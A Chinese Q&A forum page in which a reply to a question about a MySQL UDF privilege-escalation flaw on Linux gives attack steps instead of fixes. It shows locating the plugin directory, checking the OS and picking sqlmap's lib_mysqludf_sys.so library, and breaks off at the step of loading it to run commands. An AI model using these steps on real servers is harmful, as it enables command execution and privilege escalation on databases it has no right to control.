linux mysql udf提权漏洞怎么办

发布网友发布时间：2022-04-08 04:28

共1个回答

热心网友时间：2022-04-08 05:58

在mysql库下必须有func表，并且在‑‑skip‑grant‑tables开启的情况下，UDF会被禁止；

过程：得到插件库路径找对应操作系统的udf库文件利用udf库文件加载函数并执行命令
1，得到插件库路径
?

1
2
3
4
5
6
7

mysql> show variables like "%plugin%";
+---------------+-----------------------+
| Variable_name | Value |
+---------------+-----------------------+
| plugin_dir | /usr/lib/mysql/plugin |
+---------------+-----------------------+
1 row in set (0.00 sec)

2，找对应操作系统的udf库文件
因为自己测试，看了下自己系统的版本，64位

?

1
2

root@bt:~# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux

对于udf文件，在sqlmap工具中自带就有，只要找对应操作系统的版本即可
?

1
2
3
4
5
6

root@bt:/pentest/database/sqlmap/udf/mysql# ls
linux windows
root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls
32 64
root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls
lib_mysqludf_sys.so

3，利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式，可在本地通过